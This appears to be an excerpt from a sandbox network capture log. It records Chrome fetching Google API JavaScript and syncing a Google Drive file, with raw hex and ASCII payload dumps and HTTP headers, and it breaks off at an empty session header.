2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 2b 5f 30 2d 39 5c 2f 41 2d 5a 61 2d 7a 5d 2b 3d 7b 30 2c 32 7d 24 2f 2c 42 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 5b 5d 2c 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 7b 76 61 72 20 65 3d 61 5b 64 5d 2c 66 3b 69 66 28 66 3d 65 29 7b 61 3a 7b 66 6f 72 28 66 3d 30 3b 66 3c 62 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 69 66 28 62 5b 66 5d 3d 3d 3d 65 29 62 72 65 61 6b 20 61 3b 66 3d 2d 31 7d 66 3d 66 3c 30 7d 66 26 26 63 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 63 7d 2c 43 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 4d 2e 6e 6f 6e 63 65 3b 72 65 74 75 72 6e 20 61 21 3d 3d 76 6f 69 64 20 30 3f 61 26 26 61 3d 3d 3d 53 74 72 69 6e 67 28 61 29 26 26 61 2e 6d 61 74 63 68 28 41 61 29 3f 61 3a 4d 2e Data Ascii: +_0-9\/A-Za-z]+={0,2}$/,Ba=function(a,b){for(var c=[],d=0;d<a.length;++d){var e=a[d],f;if(f=e){a:{for(f=0;f<b.length;f++)if(b[f]===e)break a;f=-1}f=f<0}f&&c.push(e)}return c},Ca=function(){var a=M.nonce;return a!==void 0?a&&a===String(a)&&a.match(Aa)?a:M.
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 76 6f 69 64 20 30 3b 74 79 70 65 6f 66 20 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 70 3d 6c 29 3b 76 61 72 20 71 3d 6e 75 6c 6c 2c 7a 3d 21 31 3b 69 66 28 66 26 26 21 6b 7c 7c 21 66 26 26 6b 29 74 68 72 6f 77 22 54 69 6d 65 6f 75 74 20 72 65 71 75 69 72 65 73 20 62 6f 74 68 20 74 68 65 20 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 61 6e 64 20 6f 6e 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 74 6f 20 62 65 20 73 65 74 22 3b 0a 6c 3d 48 28 4f 28 63 29 2c 22 72 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 3b 76 61 72 20 47 3d 48 28 4f 28 63 29 2c 22 4c 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 2c 4d 61 3d 4d 2e 6c 65 7c 7c 5b 5d 2c 4b 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6c 29 2c 6c 61 3d 66 75 6e 63 74 69 6f 6e 28 77 2c 42 29 7b 69 66 28 7a 29 72 Data Ascii: void 0;typeof l=="function"&&(p=l);var q=null,z=!1;if(f&&!k\|\|!f&&k)throw"Timeout requires both the timeout parameter and ontimeout parameter to be set";l=H(O(c),"r",[]).sort();var G=H(O(c),"L",[]).sort(),Ma=M.le\|\|[],K=[].concat(l),la=function(w,B){if(z)r
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 61 2c 62 29 7b 72 65 74 75 72 6e 20 46 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 61 2c 62 29 7d 29 7d 3b 55 2e 75 6e 73 68 69 66 74 28 5b 22 75 72 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 21 61 7c 7c 62 26 26 62 21 3d 3d 22 22 7c 7c 21 61 2e 65 6e 64 73 57 69 74 68 28 22 2e 6a 73 22 29 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 61 2e 6c 65 6e 67 74 68 2d 33 29 2c 62 3d 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2f 22 29 2b 31 2c 62 3e 3d 61 2e 6c 65 6e 67 74 68 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 28 62 29 2e 73 70 6c 69 74 28 22 3a 22 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 21 5b 22 61 70 69 22 2c 22 70 6c 61 74 66 6f 72 6d 22 5d 2e 69 6e 63 6c 75 64 65 Data Ascii: a,b){return Fa(function(){return Ia(a,b)})};U.unshift(["url",function(a,b,c){!a\|\|b&&b!==""\|\|!a.endsWith(".js")\|\|(a=a.substring(0,a.length-3),b=a.lastIndexOf("/")+1,b>=a.length\|\|(a=a.substr(b).split(":").filter(function(d){return!["api","platform"].include
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 73 75 62 73 63 72 69 62 65 5f 65 6d 62 65 64 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 70 6c 75 73 5f 63 69 72 63 6c 65 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 70 6c 75 73 2f 63 69 72 63 6c 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 0a 70 6c 75 73 5f 73 68 61 72 65 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 2b 31 2f 73 68 61 72 65 62 75 74 74 6f 6e 3f 70 6c 75 73 53 68 61 72 65 3d 74 72 75 65 26 75 73 65 67 61 70 69 3d 31 22 7d 2c 72 Data Ascii: ww.youtube.com/subscribe_embed?usegapi=1"},plus_circle:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/plus/circle?usegapi=1"},plus_share:{params:{url:""},url:":socialhost:/:session_prefix::se:_/+1/sharebutton?plusShare=true&usegapi=1"},r
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 73 69 67 6e 69 6e 3f 75 73 65 67 61 70 69 3d 31 22 2c 6d 65 74 68 6f 64 73 3a 5b 22 6f 6e 61 75 74 68 22 5d 7d 2c 72 62 72 5f 69 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 69 6e 76 69 74 61 74 69 6f 6e 22 7d 2c 73 68 61 72 65 3a 7b 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 69 6d 5f 70 72 65 66 69 78 3a 5f Data Ascii: {params:{url:""},url:":socialhost:/:session_prefix:_/widget/render/signin?usegapi=1",methods:["onauth"]},rbr_i:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarinvitation"},share:{url:":socialhost:/:session_prefix::im_prefix:_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49823	142.250.184.238	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:11 UTC	804	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0?le=scs HTTP/1.1 Host: apis.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:11 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 75049 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 13 Nov 2024 12:44:19 GMT Expires: Thu, 13 Nov 2025 12:44:19 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 111532 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:11 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-14 19:43:11 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-14 19:43:11 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-14 19:43:11 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-14 19:43:11 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-14 19:43:11 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-14 19:43:11 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-14 19:43:11 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-11-14 19:43:11 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-14 19:43:12 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49826	142.250.185.238	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:15 UTC	1181	OUT	POST /file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/docos/p/sync?resourcekey&id=11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei&reqid=0 HTTP/1.1 Host: drive.google.com Connection: keep-alive Content-Length: 75 X-Build: apps-fileview.texmex_20241107.01_p2 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-Same-Domain: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 X-Client-Deadline-Ms: 20000 sec-ch-ua-platform: "Windows" Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:15 UTC	75	OUT	Data Raw: 70 3d 25 35 42 6e 75 6c 6c 25 32 43 6e 75 6c 6c 25 32 43 6e 75 6c 6c 25 32 43 6e 75 6c 6c 25 32 43 25 32 32 31 31 6b 6b 34 67 6c 76 43 4a 52 44 65 4a 33 58 68 64 65 6d 52 52 5f 46 46 57 38 74 47 6c 53 65 69 25 32 32 25 35 44 Data Ascii: p=%5Bnull%2Cnull%2Cnull%2Cnull%2C%2211kk4glvCJRDeJ3XhdemRR_FFW8tGlSei%22%5D
2024-11-14 19:43:16 UTC	724	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Robots-Tag: noindex, nofollow, nosnippet Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 14 Nov 2024 19:43:15 GMT Content-Disposition: attachment; filename="response.bin"; filename*=UTF-8''response.bin X-Content-Type-Options: nosniff Content-Security-Policy: require-trusted-types-for 'script';report-uri https://csp.withgoogle.com/csp/docs-tt X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:16 UTC	49	IN	Data Raw: 32 62 0d 0a 29 5d 7d 27 0a 0a 5b 5b 22 73 72 22 2c 6e 75 6c 6c 2c 31 37 33 31 36 31 32 37 39 35 38 33 36 5d 2c 5b 22 64 69 22 2c 31 39 5d 5d 0d 0a Data Ascii: 2b)]}'[["sr",null,1731612795836],["di",19]]
2024-11-14 19:43:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49825	172.217.18.14	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
